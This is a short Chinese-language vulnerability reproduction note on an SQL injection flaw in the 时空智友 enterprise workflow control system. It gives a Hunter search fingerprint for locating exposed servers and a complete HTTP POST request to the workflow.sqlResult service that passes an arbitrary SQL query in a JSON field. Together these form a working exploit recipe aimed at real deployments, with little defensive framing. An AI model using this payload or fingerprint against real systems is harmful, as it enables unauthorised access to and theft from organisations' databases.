S23-2时空智友-企业流程化管控系统-SQL

漏洞描述：

时空智友企业流程化管控系统是一个用于企业流程管理和控制的软件系统。它旨在帮助企业实现流程的规范化、自动化和优化，从而提高工作效率、降低成本并提升管理水平。时空智友企业流程化管控系统存在SQL注入漏洞，攻击者通过恶意构造的SQL查询来执行未经授权的数据库操作。当应用程序未能正确验证、转义或过滤用户提供的输入数据时，攻击者可以利用这个漏洞来执行恶意的SQL语句，从而绕过应用程序的访问控制和执行非法操作。

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.icon=="2464cbce5dd2681dd4fb62d055520d78"

漏洞复现：

payload：

```
POST /formservice?service=workflow.sqlResult HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=123D902C244908C8DA7E61657166AA09; __qypid=""
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 50

{"params": {"a": "11"}, "sql": "select db_name()"}
```

效果图: